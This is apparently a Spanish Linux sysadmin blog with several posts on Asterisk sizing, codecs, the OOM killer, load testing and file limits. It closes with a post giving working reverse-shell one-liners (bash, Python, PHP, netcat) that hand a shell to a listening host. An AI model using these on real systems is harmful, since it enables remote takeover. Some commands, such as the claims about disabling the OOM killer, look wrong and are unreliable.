Bytelearning

Cómo hacer un cálculo genérico de cuanto puede consumir Asterisk en Linux

2022-10-04T21:08:00.001+02:00

Cuando entramos en los terrenos de VoIP, hay muchas variables y un mundo de factores que pueden influir y "alterar" nuestras mediciones, pero siempre es bueno tener algunas referencias genéricas a mano con el finde poder hacer algunas estimaciones aproximadas a la hora de dimensionar los recursos necesarios para montar una PBX. A la hora de decir "cuanto consume", generalmente se divide en tres sub-factores: Ancho de banda, consumo de CPU y consumo de RAM.

Ancho de banda Asterisk:

Empecemos por el cálculo más sencillo, que sería el de ancho de banda, cosa que aquí concretamente es muy importante… Para ello, es importante saber que, dependiendo del códec utilizado el ancho de banda varía… Hablando en términos generales, históricamente se ha usado siempre el códec más común y standard en todos los softphone y tecnologías que hay a nivel nacional e internacional, el G711. Sí, el G729 es el más eficiente en términos de ancho de banda, pero representa varios inconvenientes dicho protocolo, y es que, más allá de que es de pago, NO permite transcoding. Aún así a continuación una tabla genérica:

Tabla anchos de banda códecs

El parámetro más importante de dicha tabla es el ancho de banda a nivel de ethernet, el resto son cálculos de ancho de banda de algunos servicios o de la cabecera VoIP sin más datos, pero todos los cálculos de ancho de banda VoIP lo sitúan en un consumo de entre 80-90Kbps, más cercanos a los 90. Es por ello que en nuestro cálculo usaremos 90kbps como base para nuestra medición… Partiendo de la base de que tenemos una tarjeta de red 1 Gb.

1 Gbps=1000000 Kbps

1000000 kbps /90 kbps= 11111 llamadas simultáneas

Esto es un cálculo extremadamente simplificado e irrealista que obviamente está eliminando absolutamente cualquier otra interacción de, ya sea respuestas ARP, interacciones de servicios, accesos web, accesos SSH, etc… Interacciones que, obviamente, restan muchísimo al ancho de anda disponible, pero al menos mediante esta tabla, tenemos una base inicial sobre la que trabajar y, sobre todo, nos hace saber que cada llamada nos está repercutiendo en 90kbps de ancho de red… Con el añadido de que hay otros servicios que también consumen red.

Si metemos video en la ecuación, el ancho de banda consumido por los elementos de video aumenta considerablemente. Dicho ancho depende del códec y de la resolución, pero he aquí una pequeña tabla:

Tabla anchos de banda códecs video

Si nos ponemos en el “peor” de los casos con H264 a 1080p y partiendo de la base de que las tarjetas de red son en general de 1Gbps.

1 Gbps=1000 Mbps

1000 Mbps / 6Mbps = 166 videollamadas simultáneas

Cálculo de RAM Asterisk:

El cálculo de RAM es algo tan sencillo como ejecutar el siguiente comando:

ps -ylC asterisk | awk ‘{x += $8;y += 1} END {print “Memoria total usada (MB): “x/1024}’

El consumo de memoria RAM en Asterisk es importante, pero hay multitud de otros procesos que comparten el mismo entorno, con consumos mucho mayores y mucho más delimitantes, este valor sería importante ver hasta qué punto puede incrementarse en PBX dedicadas o balanceadores de CARGA SIP, con lo que nos quedaremos con el consumo “base” que hace Asterisk, el cual ronda los 150 MBs.

Consumo CPU Asterisk

Utilizaremos el comando top de Asterisk para visualizar cuanto consume Asterisk (y sus llamadas):

top -p $(ps -e |grep asterisk |awk ‘{print $1}’)

Mediante este comando veremos solamente el proceso Asterisk, el cual cuando se encuentra en IDDLE no consume CPU (un consumo residual de apenas un 0,3%), en cambio cuando tenemos una llamada activa, es decir una llamada con una comunicación de audio activa, el consumo de cada llamada consume alrededor de un x% de un core, lo cual es importante tenerlo en cuenta también a la hora de dimensionar. Por ejemplo, hablando siempre de forma "genérica", en la mayoría de pruebas que he realizado el consumo por llamada se reduce a alrededor de un 1% de un core.

Para los cálculos estimaremos que alrededor habrá simultáneas alrededor de un 15% de llamadas con audio activas simultáneas (hay que tener en cuenta que a veces pueden haber llamadas que se “alargan”, de ahí que se ponga un 15 y no un 10. Con lo que nos baremos en esta fórmula para hacer los cálculos:

(1 * número total de teléfonos* 0.15 ) / 100

Esto aplicado a una instalación con 100 teléfonos sería:

(1 * 100 * 0.15 ) / 100 = 0,15

Es decir, hablaríamos de un consumo de un 15% de CPU en una instalación con 100 puntos, siempre y cuando se cumpla ese 15% de teléfonos llamando simultáneamente.

Sumando todos estos conceptos por separado podremos saber, de forma aproximada si nuestra máquina puede soportar un determinado número; obviamente hay mil factores, pero esto nos sirve como una buena base que sirva como punto de partida.

Espero que os haya resultado útil.

Saludos.

Como implantar gratis el códec G729 en Asterisk

2021-05-24T22:16:00.001+02:00

Los códecs de audio utilizados en Asterisk, generalmente son de uso abierto y sin licencia; siendo el códec G711 (allaw o ullaw) los más populares... Por desgracia, a veces nos podemos encontrar con impedimentos para implementar dichos códecs, viéndonos obligados a utilizar el códec G729, el cual es de pago... La cuestión está que es recomendable hacer pruebas de laboratorio antes de implementarlo, de ahí que sea recomendable montarnos un entorno gratuito en nuestro laboratorio a modo de testing... Es importante resaltar que el códec oficial siempre va a funcionar mejor, pero en entornos de desarrollo o de pruebas, la implementación de este códec es extremadamente interesante.

Este post es una pequeña guía está pensada para que uno pueda implementar el códec G729 con versiones de Asterisk 1.8 o superiores; los requisitos para instalarlo serían similares en todas las versiones pero con la diferencia de que la preparación del códec difiere en cada versión y habría que descargar el fichero adecuado para cada versión. La web desde donde se descargan los ficheros sería la siguiente:

http://asterisk.hosting.lv/

A modo de recomendación, lo ideal sería descargar el fichero asterisk-g72x-1.4.3.tar.bz2 y compilarlo.

Para poder compilar los códecs G729 y G723 (ambos van incluidos en esta solución), lo primero de todo sería necesario instalar ciertas dependencias en Linux desde los repositorios oficiales de Linux vía APT; estas serían libtool,autoconf,zip y unzip, con lo que haríamos:

apt-get install libtool,autoconf,zip,unzip

Con las dependencias descargadas e instaladas, el primer paso sería instalar las librerías IPP de Intel, las cuales son necesarias para poder seguir adelante, aún sin tener una arquitectura de Intel. Dichas dependencias son fácilmente descargables desde la propia web oficial de Intel, descargando, siempre que sea posible, la versión más reciente posible.

https://software.intel.com/en-us/articles/intel-ipp-legacy-libraries

Con todo lo necesario descargado e instalado, ubicaríamos todos los ficheros descargados en /usr/src y ejecutaríamos los comandos:

tar -xf ipp90legacy_lin_9.0.0.008.tar
tar -xjf asterisk-g72x-1.4.3.tar.bz2

Accedemos al directorio descomprimido de ipp90… y allí hacemos:

unzip linux.zip

El proceso de descompresión pedirá una contraseña, la cual sería: accept

Esto creará, tras un rato, una carpeta llamada linux, la cual habrá que mover a una ruta que inicialmente seguramente no exista con lo que lo que deberemos introducir dos comandos; uno para crear la ruta, y otra para mover la carpeta creada:

mkdir -p /opt/intel/ipp/
mv linux /opt/intel/ipp/legacy

Ahora accederíamos al directorio /opt/Intel/ipp/legacy/lib y dentro de este directorio descargaremos y descomprimiremos más librerías necesarias, librerías que serían necesarias para que los paquetes de Intel funcionen:

cd opt/Intel/ipp/legacy/lib
wget http://asterisk.hosting.lv/bin/icc-static-libs.tar.bz2
tar -xjf icc-static-libs.tar.bz2

Ahora que por fin tenemos las librerías preparadas, accederíamos al directorio descomprimido de los códecs de Asterisk que hemos descomprimido antes:

cd /usr/src/asterisk-g72x-1.4.3/

Antes de preparar el códec haremos un enlace simbólico al directorio legacy, llamando a dicho enlace ipp:

ln -s opt/intel/ipp/legacy/ ipp

Finalmente ejecutamos el script autogen.sh, al cual habría que darle antes permisos de ejecución. Dicho script generará los deseados códecs:

chmod +x autogen.sh
./autogen.sh

Ahora podemos utilizar el códec G729 sin ningún problema; en cambio, para el códec G723 (en caso de querer usarlo) habría que acceder a /etc/asterisk/códecs.conf y añadir estas líneas:

[g723]
; 6.3Kbps stream, default
sendrate=63
; 5.3Kbps
;sendrate=53

Gracias a esto, ya tendríamos los códecs listos. Para verificar que los códecs han sido añadidos correctamente habría que acceder a Asterisk, recargar la configuración global y ejecutar el comando comando core show translations:

asterisk -rvvvvvvvv
reload
core show translation recalc 10

Como detalle, mencionar que en la lista veremos veremos guiones en todas las referencias a al códec G729; eso es debido a que éste no soporta transcoding (conversión de un códec a otro).

Por último, quedaría asegurarnos de que, tras este largo proceso, se va a utilizar el códec que queremos en /etc/asterisk/sip.conf; concretamente el códec debe de aparecer en el listado de códecs de allow; algo del estilo como el de a continuación:

allow=g729
disallow=all

Cabe recalcar, tal y como se ha dicho al principio, que siempre es recomendable optar por el códec oficial y que esta solución es útil en entornos que no sean de producción, como puede ser en laboratorios o en entornos de pruebas, o en entornos de aprendizaje.

Espero que os haya resultado útil; sí que es cierto que el proceso es tedioso, pero es muy útil para poder ahorrarnos el coste de la licencia asociada a dicho códec.

Saludos.

Linux OOM (Out Of Memory) Killer: Qué es y qué importancia tiene

2021-05-11T19:15:00.000+02:00

Pongámonos en la situación teórica de que tenemos un equipo con OS basado en Linux (independientemente de la distribución) con una alta carga de memoria RAM y múltiples servicios en marcha. De repente, el equipo tiene que realizar tareas que le suponen un mayor esfuerzo en términos de memoria y esto hace que al poco tiempo tengamos errores, tales como aplicaciones que misteriosamente se han cerrado solas, o errores más graves; como, por ejemplo, que una base de datos, haya entrado en modo “recovery mode”. ¿Por qué ha ocurrido esto? Este fenómeno proviene del concepto OOM Killer.

OOM Killer, se trata de un mecanismo que posee el kernel para liberar memoria RAM de forma abrupta para evitar el colapso del sistema; es decir que se trata de un mecanismo usado para evitar situaciones críticas, el cual, generalmente, previene de forma adecuada cualquier tipo de saturación del sistema y evita el bloqueo total del equipo/servidor. Desgraciadamente, en equipos con altas cargas de trabajo que poseen algunos servicios críticos (como puede ser PostgreSQL, MySQL o Apache), este mecanismo puede resultar fatal… Para entenderlo, primero hay que saber cómo funciona este mecanismo; o mejor dicho, qué prioridades tiene éste.

Las prioridades de OOM por defecto serían:

Mantener un mínimo de memoria RAM libre para que el Kernel pueda funcionar correctamente
Elimina el mínimo número de procesos posibles
Priorizar procesos que consuman mucha memoria
No eliminar procesos que consuman poca memoria
Mediante múltiples algoritmos internos dictaminar qué servicio con mucha memoria eliminar en caso de tener varios para elegir.

Además de esto, OOM revisa el oom_score (puntuación OOM), que revisa si el proceso tiene una mayor o menor prioridad para ser eliminado. Por defecto la mayoría de los procesos tienen una puntuación de 0, es decir que son servicios que ni tienen la prioridad de ser eliminados, ni tampoco tienen ninguna “protección” que les impida ser eliminados. Dicha puntuación se puede ajustar asignarle un valor que puede oscilar entre -1000 y 1000, siendo -1000 el valor que haría que un proceso, jamás se eliminase, y 1000 el valor que haría que dicho proceso fuese eliminado el primero.

Para revisar la puntuación por defecto de un proceso concreto habría que realizar el comando:

cat /proc/numero_proceso/oom_score

Ejemplo:

cat /proc/1032/oom_score
0

Si deseásemos ajustar la puntuación de dicho proceso, habría que modificar el fichero /proc/numero_proceso/oom_score_adj, asignándole un valor entre -1000 y 1000, según conveniencia nuestra…

echo -100 > /proc/1032/oom_score_adj

El problema que tiene este método es que es un método de ajuste “en vivo”, es decir que si bien ajustaría la puntuación del proceso, solamente sería valido mientras el proceso estuviese activo; si dicho proceso se parase/reiniciase por cualquier motivo, la puntuación volvería a ser la misma que se tenía originalmente…

Afortunadamente, puede modificar de forma permanente, accediendo servicio de arranque del proceso deseado… Presuponiendo que estemos usando un sistema basado en Systemd, simplemente habría que ir a la ruta /etc/systemd/system/ o a /run/systemd/generator.late/ (dependiendo del servicio) y editar el servicio que deseemos modificar.

Dentro del fichero que estemos editando, habrá diferentes secciones, entre las cuales se encontrará la sección “service”; dentro de dicha sección habría que añadir la línea OOMScoreAdjust= Valor_deseado. Pongamos como ejemplo el servicio apache2.service

Antes:

[Service]
Type=forking
Restart=no
TimeoutSec=5min
IgnoreSIGPIPE=no
KillMode=process
GuessMainPID=no
RemainAfterExit=yes
ExecStart=/etc/init.d/apache2 start
ExecStop=/etc/init.d/apache2 stop
ExecReload=/etc/init.d/apache2 reload

Despues:

[Service]
OOMScoreAdjust=-100
Type=forking
Restart=no
TimeoutSec=5min
IgnoreSIGPIPE=no
KillMode=process
GuessMainPID=no
RemainAfterExit=yes
ExecStart=/etc/init.d/apache2 start
ExecStop=/etc/init.d/apache2 stop
ExecReload=/etc/init.d/apache2 reload

Gracias a esto habríamos ajustado la puntuación del servicio deseado; la gran cuestión sería… ¿Por qué casi siempre son escogidos los servicios más “críticos” tales como las webs o bases de datos? Simplemente debido a que son procesos que de por sí consumen mucha memoria, pues manejan un gran volumen de datos y transacciones… En el caso de las bases de datos, podría también deberse a alguna consulta/operación SQL que esté tomando demasiado tiempo y recursos.

Si se desea, también se puede deshabilitar directamente esta utilidad, si bien no es recomendable, ya que se trata de una funcionalidad preventiva... Aún así, si fuese 100% hacerlo, solamente habría que ejecutar:

echo 1 > /proc/sys/vm/panic_on_oom

En caso de querer hacerlo permanente, habría que añadir dicho parámetro al fichero sysctl.conf, ya que el anterior comando solamente sería válido hasta el siguiente reinicio:

echo vm.oom-kill = 1 >> /etc/sysctl.conf

Es importante resaltar que esto no hace que OOM Killer sea una servicio “dañino”; simplemente ejecuta labores que protegen a todo el sistema, la cuestión está en que a veces, en un intento de protege el sistema entero, se pueden llegar a detener de forma accidental servicios indeseados... Por eso, es recomendable no deshabilitarlo y buscar otras vías... Una de ellas es la modificación de un valor llamado overcommit_memory...

Linux por defecto puede asignar toda la memoria del mundo sin tener en cuenta la RAM disponible, cosa que no lo hace siempre sino que lo realiza cuando lo ve necesario; nosotros podemos editar el fichero overcommit_memory dentro /proc/sys/vm/ para que siempre lo haga o que solamente lo haga en determinadas circunstancias... El fichero en cuestión tiene un dígito que oscila entre 0 y 2 y que tiene lo siguientes comportamientos:

0: Valor por defecto. El sistema decide si asignarle más memoria de la que estaba previsa al proceso.

1: Si asignamos este valor, el sistema SIEMPRE asignará toda la memoria al proceso en sin ningún tipo de garantía de que ésta esté disponible, en caso de verlo necesario. Esta opción es peligrosa, pues corremos riesgo que el efecto OMM Killer ocurra aún más veces.

2: Al asignar este valor, solamente se asignará un % X de la memoria total sin garantía de que ésta esté disponible, donde X sería el valor numérico especificado en /proc/sys/vm/overcommit_ratio más la memoria swap de la que dispongamos. En caso de que no se pueda asignar más memoria de la que tengamos disponible, dicho asignamiento adicional de memoria no se realizaría, manteniendo "a salvo" el sistema y ayudando en parte a que no se ejecute el OMM Killer; especialmente cuando trabajamos con bases de datos como PostgreSQL. Es por eso que de que dicho valor se recomienda muy a menudo al trabajar con bases de datos PostgresSQL para garantizar que no se consuma más memoria la necesaria. Es importante resaltar que el valor por defecto es de 50, valor que es fácilmente modificable editando el fichero /proc/sys/vm/overcommit_ratio.

La formula exacta para conocer el limite de overcommit al tener el overcommit_memory con valor 2 sería:

(RAM_total * overcommit_ratio /100) + Memoria_swap

Visto todo esto, tendríamos una mayor comprensión de cómo funciona "Out Of Memory Killer", y las medidas a las que podemos recurrir para paliarlo.

Como siempre, la solución más sencilla para estos casos siempre sería instalar más memoria RAM en el equipo; pero eso en muchas ocasiones es utópico, con lo que siempre es interesante conocer este tipo de medidas con el fin paliar el problema y evitar demasiados quebraderos de cabeza por cierres inesperados de programas.

Espero que os haya resultado útil.

Saludos.

Cómo evitar problemas en el arranque de arpwatch en Ubuntu en 16.04

2019-11-12T18:49:00.001+01:00

Arpwatch es un servicio de Linux que puede dar muchos problemas en el arranque; especialmente cuando se trabajan con múltiples interfaces de red, pues es bastante exigente para comenzar en el proceso de arranque. Generalmente a muchos nos les importa, ya que con arrancar el servicio a mano después el problema se solventa; pero en ocasiones queremos que el equipo arranque automáticamente dicho servicio; especialmente en servidores que queremos que funcionen de forma "autonoma" y que sean susceptibles de reinicios inesperados.

Es por ello que siempre es interesante saber cómo hacer que el servicio arranque de forma automática. Cosa que afortunadamente es sencillo, ya que arpwatch se enfrenta solamente a dos obstaculos para arrancar correctamente.

El primero es que al tener dos interfaces de red, con sus respectivas puertas de enlace, al servicio "networking" no le gustan las puertas de enlace estandard, sino que requieren de una métrica. Esto se solventa modificando el fichero /etc/network/interfaces y realizando el siguiente cambio; poniendo como ejemplo las puerta de enlace 192.168.1.1 y 172.16.1.1

Antes:

iface eth0 inet static
address 192.168.1.2
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

iface eth1 inet static
address 172.16.1.2
netmask 255.255.0.0
network 172.16.0.0
broadcast 172.16.255.255
gateway 172.16.1.1

Despues:

iface eth0 inet static
address 192.168.1.2
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
post-up route add default gw 192.168.1.1
pre-down route del default gw 192.168.1.1

iface eth1 inet static
address 172.16.1.2
netmask 255.255.0.0
network 172.16.0.0
broadcast 172.16.255.255
post-up route add default gw 172.16.1.1
pre-down route del default gw 172.16.1.1

Con esta parte solventada, sería necesario forzar la ejecución de arpwatch como root, ya que como arpwatch no permite hacerlo bien durante el arranque. Para ello editaremos el fichero /etc/default/arpwatch; dentro del cual veremos una línea llamada RUNAS; la cual tendrá como valor arpwatch... Esto significa que el servicio sería ejecutado por el usuario arpwatch, pero al sistema no es algo que le guste, al menos durante el arranque, ya que el servicio en sí no arrancaría correctamente por defecto y requeriría reiniciarlo para que funcione. Para que funcione durante el arranque, habría que hacer que el servicio sea ejecutado como root, con lo que sería necesario realizar el siguiente cambio:

Antes:

RUNAS="arpwatch"

Despues:

RUNAS="root"

Con estas pequeñas modificaciones, tras nuestro próximo reinicio, nuestro servicio arpwatch funcionaría adecuadamente, evitando así problemas con dicho servicio en caso de que el equipo fuese reiniciado de forma no controlada.

Espero que os haya resultado útil.

Saludos.

Cómo realizar pruebas de carga en nuestro servidor Web

2019-10-29T22:56:00.001+01:00

Una de las labores más importantes a la hora de montar un servidor web, es la dimensionarlo correctamente para poder realizar sus labores de forma efectiva. Generalmente a la hora de realizar el dimensionamiento se suele tender a optimizar el servidor lo máximo posible, con los recursos disponibles, para poder soportar el máximo de conexiones posibles, pero aun así, siempre es importante intentar forzar dicho servidor por encima de su capacidad máxima con el fin de ver cómo reacciona... Esto puede ser una labor sencilla si el servidor soporta muy pocas conexiones, pero y si soportase 1000 conexiones simultáneas o más? Afortunadamente existen herramientas especializadas de Linux que nos pueden ayudar a realizar testear nuestro servidor web... Entre ellas hay dos especialmente conocidas: Apache Benchmark y JMeter.

Apache Benchmark

Si bien esta utilidad se puede considerar bastante inferior a JMeter, se trata de una utilidad que tiene la ventaja de que te permite realizar pruebas rápidas desde la consola sin tener la necesidad de tener una interfaz gráfica, cosa que evita el obligarnos a depender de un entorno de escritorio para poder utilizarla. La herramienta en sí es muy fácil de instalar, ya que es parte del conjunto de utilidades estándares de Apache2, llamada apache2-utils, con lo que lo podemos instalar de los repositorios tal que así:

apt-get install apache2-utils

Con esto instalado, podemos hacer pruebas de carga de forma muy rápida mediante el comando ab; donde la sintaxis sería:

ab -c concurrencias -n numero_de_peticiones -r URL

El parámetro -r sería importante, ya que evitaría que el comando se interrumpiese aún cuando hubiese algún error... Además es importante resaltar que la URL tiene que apuntar siempre a un fichero web... Por ejemplo si tenemos un servidor web con IP 127.0.0.1, no valdría con poner dicha IP como URL sino que habría que poner http://127.0.0.1/index.html pues en caso contrario Apache Benchmark pensaría que la URL es errónea.

En caso de querer hacer 1000 peticiones con 20 concurrencias a la URL atrás mencionada, haríamos:

ab -c 20 -n 1000 -r http://127.0.0.1/index.html

Esto nos daría como resultado una serie de líneas, entre las cuales se resaltarían las últimas donde se muestran el porcentaje de paquetes que ha tardado X milisegundos en tener respuesta:

Resultado prueba carga Apache Benchmark

Lo malo que tiene esta herramienta, es que carece de opciones de personalización a la hora de realizar las pruebas de carga; es decir, no puedes decir si las peticiones se van a hacer de forma controlada, o como un ataque DOS... Simplemente las realiza lo más rápido que puede y listo... Lo cual viene por un lado bien para saber cómo se comporta bajo cierta presión, pero que no emula entornos realistas. Es por eso que esta herramienta tienes sus pros y sus contras y es ahí donde JMeter marca la diferencia, ya que dicha herramienta sí que tiene un mayor abanico de opciones.

Apache JMeter

En este caso para poder siquiera instalar la aplicación es 100% necesario tener instalado un entorno de escritorio, pues instalar elementos gráficos. El entorno de escritorio en sí es indiferente, puede ser XFCE, KDE, Gnome... Al gusto de cada uno... Cumpliendo dicho requisito habría que escribir en la consola:

apt-get install jmeter

Esto preparará todo lo necesario para que Jmeter sea utilizable, si bien Jmeter tiene una peculiaridad. La configuración de los diferentes parámetros y planes de pruebas se realizan desde de la GUI, pero la ejecución del plan de pruebas es extremadamente recomendable hacerlo desde la consola; recomendación que es dada por los propios desarrolladores de la utilidad.

Con lo que teniendo esto claro, primero abriríamos la aplicación desde la GUI, aplicación que, desgraciadamente, al ser tan completa, puede ser algo intimidante inicialmente.

El primer paso que habría que ejecutar sería la creación de un Grupo de Hilos; dicho paso es vital pues marca el número de peticiones simultáneas que se harían, el intervalo entre éstos y el número de veces que se lanzarían peticiones (pudiendo ser infinito); las capturas de a continuación serían realizadas desde un Ubuntu 18.04, capturas en las que, en este caso mostraríamos 100 peticiones simultáneas realizadas cada segundo continuamente :

Nuevo grupo hilos

Configuración grupo hilos

Con esto tendríamos las peticiones preparadas; lo que habría que especificar sería qué peticiones se desean realizar... Aquí tenemos diferentes opciones, pero la más común y usada sería una petición HTTP; petición en la que únicamente sería necesario especificar que sería del tipo GET y la IP y puerto de destino de dichas peticiones; habría una serie de parámetros adicionales, pero todos ellos serían completamente optativos:

Petición HTTP

Opciones petición HTTP

Por último pero no por ello menos importante, tendríamos que crear un reporte de resumen, el cual nos servirá para conocer los resultados de nuestras pruebas. El cual se encontraría dentro de: Añadir --> Receptor --> Reporte Resumen. El resumen se puede ver en texto plano desde la propia consola, pero desde la herramienta tendríamos el resultado mostrado de forma sintetizada, lo cual nos es ventajoso.

Ahora que tenemos todo preparado, guardaríamos el proyecto, el cual siempre es guardado en formato .jmx, por ejemplo plan_de_pruebas.jmx. Solamente sería necesario ejecutar dicho plan, ejecución que aunque se puede hacer desde la GUI, tal y como he comentado antes es recomendable hacerlo desde la consola. El comando para ejecutarlo sería:

jmeter -n -t plan_de_pruebas.jmx -l Resumen.jtl

El parámetro -l seguido del fichero jtl sería importante, pues estaríamos especificando donde guardar los resultados de las pruebas realizadas; pruebas que siempre se guardan en ficheros en formato .jtl, si bien se puede leer de forma "normal" haciendo un simple cat sobre dicho fichero.

Gracias a dicho comando estaríamos ejecutando el plan de pruebas, que se estaría ejecutando de forma continua a menos que se pulsase la combinación de teclas CTRL + C, debido a que se trata de una prueba infinita. Esto estaría haciendo una prueba de carga "infinita" sobre el servidor de destino, prueba sobre la que tendríamos más control que mediante Apache Benchmark.

El informe de salida lo podríamos leer dirigiéndonos al `Reporte resumen` antes creado y clickando en navegar para seleccionar el informe generado por nuestras pruebas; en nuestro caso Resumen.jtl... A continuación una pequeña muestra de dicho informe:

Informe Jmeter

Como se puede observar, la aplicación JMeter ofrece una amplia gama de posibilidades; estas son solo algunas de ellas, pero las mostradas serían las más "comunes" y usadas. Eso no implica que Apache Benchmark no sea útil; cada una ofrece una serie de características, la cuestión está en saber qué aplicación se adapta mejora nuestras necesidades, al igual que también no siempre se puede contar con una interfaz gráfica, y ahí es donde JMeter flaquea, pues dicho entorno es un requisito para la propia instalación.

Espero que os haya resultado útil.

Saludos.

Cómo solucionar el error too many open files en Linux

2019-10-21T21:03:00.003+02:00

En un servidor en producción de Linux con bastante carga pueden ocurrir errores tipo "Too many open files" o que los servicios no puedan abrir más sockets (ficheros) de conexión. Esto se debe a que en Linux se pueden establecer limites de ficheros abiertos simultáneamente y ésta limitación es por usuario. Puede parecer un error raro, pero en caso de tener un servidor SQL y/o web, no es un error tan extraño, dependiendo del volumen de información tratado.

Para solucionarlo hay que cambiar la configuración en varios sitios, pero primero hay que comprobar la configuración actual:

ulimit -n

Esto nos indicará la cantidad máxima por usuario y sesión. El valor por defecto es 1024, lo que aunque en un principio, pueden parecer muchos, no siempre dan basto, especialmente cuando se trabaja con un sistema que tiene un servidor web/SQL instalado, ya que éstos trabajan con muchos ficheros temporales y los necesita mantener abiertos por cuestiones de rendimiento. Para cambiar este valor:

ulimit -n 75000

Este comando aplicará el cambio en términos de la sesión actual. Para hacerlo persistente tenemos que editar los límites a nivel de configuración del sistema, lo cual se realizaría en /etc/security/limits.conf

root soft core unlimited
root hard core unlimited
root soft memlock 131072
root hard memlock 131072
root soft nofile 999999
root hard nofile 999999

Luego, aparte de limites por usuario y sesión, existen limites a nivel del propio sistema operativo. Para ajustarlos habría que editar el fichero /etc/sysctl.conf, el cual realiza cambios a nivel de kernel, y añadir esta línea al final:

fs.file-max = 999999

Con esto ya tendríamos el cambio aplicado, para que haga efecto podemos o bien recurrir al clásico reinicio o bien ejecutar el comando:

sysctl -p

Con esto ya tendríamos los nuevos límites establecidos en el sistema, evadiendo así los errores del tipo too many open files.

Espero que os haya resultado útil.

Saludos.

Reverse shell, una curiosa y al mismo tiempo peligrosa técnica

2019-10-15T07:28:00.000+02:00

Recientemente, navegando por Internet y curioseando un poco de todo, me he encontrado con una técnica que, si bien no es en absoluto reciente, sí que me parece muy curiosa de compartir. Una técnica que si bien es generalmente usada por atacantes maliciosos (generalmente en rootkits), conceptualmente me parece una técnica muy interesante, pues como con todo, se le puede sacar partido para bien; solo es cuestión de verlo desde la perspectiva de los buenos. Se trata de la creación de shells remotos, cuya técnica se llamada Reverse Shell.

Como su propio nombre indica, la técnica se basa en la creación de una shell remota usando como base la propia shell que se está ejecutando en estos momentos. Esto puede ser útil en equipos a los que queremos tener acceso remoto y no se pueda utilizar SSH, es cierto que es sin lugar a dudas una técnica peligrosa, y que lo ideal es usar SSH como todo el mundo,pero el hecho de saber que la técnica está allí puede resultar interesante; ya sea para nuestro propio uso o para ser conscientes de que existe dicha posibilidad.

Para éste método se usan dos máquinas; una "atacante" que sería la que ejecutaría la shell remota, y una "victima", que sería el equipo cuya shell remota deseamos obtener. En el equipo atacante el único requisito sería tener instalada la herramienta netcat. En el de la "victima" en cambio no sería 100% necesario, pues habría diferentes métodos para realizar la shell remota; hay que tener en cuenta que conceptualmente lo que haríamos sería ponernos con netcat a "escuchar" en un puerto y desde la otra máquina, intentaríamos mediante diferentes métodos establecer una conexión con el puerto del atacante para darle el control de nuestra shell en cuestión.

Hay distintos métodos para conectarnos con la otra máquina, uno por cada "lenguaje" mediante el que queramos comunicarnos con la otra máquina. Es importante tener en cuenta que todos los métodos requieren que haya un cierto software instalado, y que en caso de no estar instalado, no se podría utilizar dicho método de comunicación.

Primero de todo pongámonos a escuchar desde la máquina "atacante"; es tan sencillo como hacer:

nc -lvp PUERTO

Siempre es recomendable "escuchar" en puertos altos, ya que así sabremos que dicho puerto no está en uso; un ejemplo genérico podría ser:

nc -lvp 10000

Con esto ya estaríamos escuchando; esta acción solamente indicaría que nosotros estamos esperando en dicho puerto a que alguien establezca una conexión contra el susodicho; es en el equipo cuya shell queremos "copiar", donde ejecutaríamos las conexiones. A partir de ahora, pensaremos que las conexiones se realizarán contra la IP 192.168.1.112. La conexión más estándar que funciona en casi todas las máquinas Linux, sería mediante bash, ya que es prácticamente estándar en todas.:

Bash:

Lo bueno que tiene realizar está técnica es que es relativamente fácil de recordar, ya que es un simple bash -i > seguido del tipo de conexión que sería /dev/tcp/ y despues la IP del objetivo seguido de /puerto; los últimos parámetros solamente son para re-dirigir cualquier cualquier mensaje de salida a la consola.

bash -i >& /dev/tcp/192.168.1.112/10000 0>&1

Python:

Otro método con el que puedes realizar un reverse shell es mediante python, ya que va instalado en prácticamente todos los equipos Linux, pero tiene como pega que la sintaxis sería más complicada que en el ejemplo anterior, ya que la conexión se realizaría mediante una porción de código de python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.112",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

El lenguaje que uno puede usar para esto puede ser cualquiera; en este caso se ha usado Python porque es el que más probabilidades tiene de estar instalado en la máquina remota, pero otros lenguajes tales como Perl (relativamente común), o cualquier otro, desde C++ hasta incluso con C#.

PHP:

Si bien he dicho que se puede hacer un reverse shell con cualquier lenguaje, creo que es conveniente destacar PHP, ya que también lo permite aunque cueste creerlo. Aún siendo un lenguaje para servidores web, nos permite realizar un reverse shell:

php -r '$sock=fsockopen("192.168.1.112",10000);exec("/bin/bash -i <&3 >&3 2>&3");'

Netcat:

Por último, es interesante saber que también se puede hacer un reverse shell en el objetivo mediante netcat, al igual que hemos puesto netcat escuchando en el "atacante", podemos conectarnos con el otro lado usando la misma herramienta; la única pega que tiene es que requiere estar instalada, cosa que no siempre es así.

nc -e /bin/bash 192.168.1.112 10000

Existen otras herramientas, como ShellReverse, que son algo más completas debido a que son herramientas que agrupan diferentes lenguajes, pero en este caso he preferido mostrar a nivel conceptual las posibilidades que tenemos para hacer el reversing y el concepto que hay detrás, más allá de usar una herramienta y listo.

Lo importante es que si lo conseguimos, tendremos una terminal de shell remota que será una réplica exacta de la shell desde la que se ha ejecutado el comando, incluyendo el usuario que ha ejecutado el comando y sus permisos, lo que hace que si por ejemplo se ejecuta una reverse shell como root, el equipo atacante tendrá una terminal de root, lo que confiere control total sobre el sistema, para bien y para mal.

En caso de haberse usado de forma voluntaria por el propio usuario, tendremos nuestro objetivo conseguido, pero en caso contrario tendremos un usuario no grato controlando remotamente nuestro equipo...

Se puede prevenir?

Visto esto, podemos deducir que aunque el recurso en parte puede ser valioso para según que casos; también tenemos la pega de que el método es una vía que puede brindar acceso a gente no grata; acceso que en caso de haberse realizado como usuario root, significaría nuestro fin...

Desgraciadamente para este caso concreto no hay una forma efectiva de blindarnos... Cualquier cortafuegos que intentemos poner para nuestras conexiones salientes puede limitar nuestro sistema. Supongamos que bloqueamos las conexiones salientes... Bloqueamos todas? Bloqueamos las conexiones con estado "new"? No es factible... En caso de querer bloquear puertos... Cuales bloquear? Por mucho que se bloqueen varios puertos, siempre tiene que haber alguno abierto, y dicho puerto se puede usar para realizar el reverse.

